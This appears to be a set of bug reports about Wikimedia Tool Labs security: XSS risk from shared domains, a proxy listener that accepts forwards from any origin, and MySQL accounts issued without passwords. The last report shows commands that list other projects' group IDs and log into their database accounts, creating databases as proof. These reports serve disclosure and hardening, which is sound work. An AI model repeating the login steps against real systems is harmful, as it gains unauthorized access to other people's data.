Lots of tool labs tools are of varying quality. It is highly like that many of them have XSS vulnrabilities. I think it might be prudent to give each one a separate domain (So instead of tools.wmflabs.org/tool-name do tool-name.tools.wmflabs.org). This would make it much more difficult to steal cookies, etc from other tools, if someone got an xss (Of course this doesn't eliminate everything (see e.g. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-zheng.pdf but it does make exploiting that sort of thing that much harder. )
I have no idea how difficult a thing this would be to do
While working on `proxymanager` I noticed that `proxylistener` does not verify that a request originates from the Tools project. This allows project administrators in Labs who set up (custom) `ident` servers to manipulate all proxy forwards for https://tools.wmflabs.org/. //But// this is so unlikely and there is so little to gain from that that I think low priority is appropriate for this.
With the new DNS scheme, it's (relatively) easy to verify that an IP belongs to the #Tool-Labs project:
1. Look up the `PTR` record for the IP: `10.68.17.49` → `tools-exec-1201.tools.eqiad.wmflabs`.
2. Check that the host name ends in `.$labsproject.eqiad.wmflabs`.
3. Look up the `A` record for the host name: `tools-exec-1201.tools.eqiad.wmflabs` → `10.68.17.49`.
4. Check that both IPs are the same.
`proxymanager` currently has the same fault.
I got a shiny new project and I looked in the mysql configuration:
local-railways@tools-dev:~$ less replica.my.cnf
[client]
user='p50380g50831'
password=''
That's weird, no password!
multichill@tools-dev:/data/project$ getent group | tail
local-searchsbl:*:50854:seth
local-svgedit:*:50855:bawolff
local-citeimage:*:50856:jeremyb,dominic
local-asaifmbot:*:50857:asaifm
local-krdbot:*:50858:krd
local-calling-card:*:50859:lfaraone
local-manishearth:*:50860:manishearth
local-hexacore:*:50861:hexacore
local-acc-utilities:*:50863:stwalkerster,deltaquad
local-templator:*:50864:magnus
mysql -h tools-db -u p50380g50863 -p
create database p50380g50863__projects_should_have_passwords_p;
mysql -h tools-db -u p50380g50833 -p
create database p50380g50833__jeremy_where_is_your_password_p;
mysql -h tools-db -u p50380g50841 -p
create database p50380g50841__deployed_without_password_that_is_p;
Tada!
MariaDB [(none)]> show databases;
+---------------------------------------------------+
| Database |
+---------------------------------------------------+
| information_schema |
| p50380g40022_wikidata_p |
| p50380g50450__checkwiki_p |
| p50380g50518__heritage_p |
| p50380g50736__copyvios_p |
| p50380g50816__pop_temp |
| p50380g50833__jeremy_where_is_your_password_p |
| p50380g50841__deployed_without_password_that_is_p |
| p50380g50863__projects_should_have_passwords_p |
+---------------------------------------------------+
9 rows in set (0.01 sec)
--------------------------
**Version**: unspecified
**Severity**: normal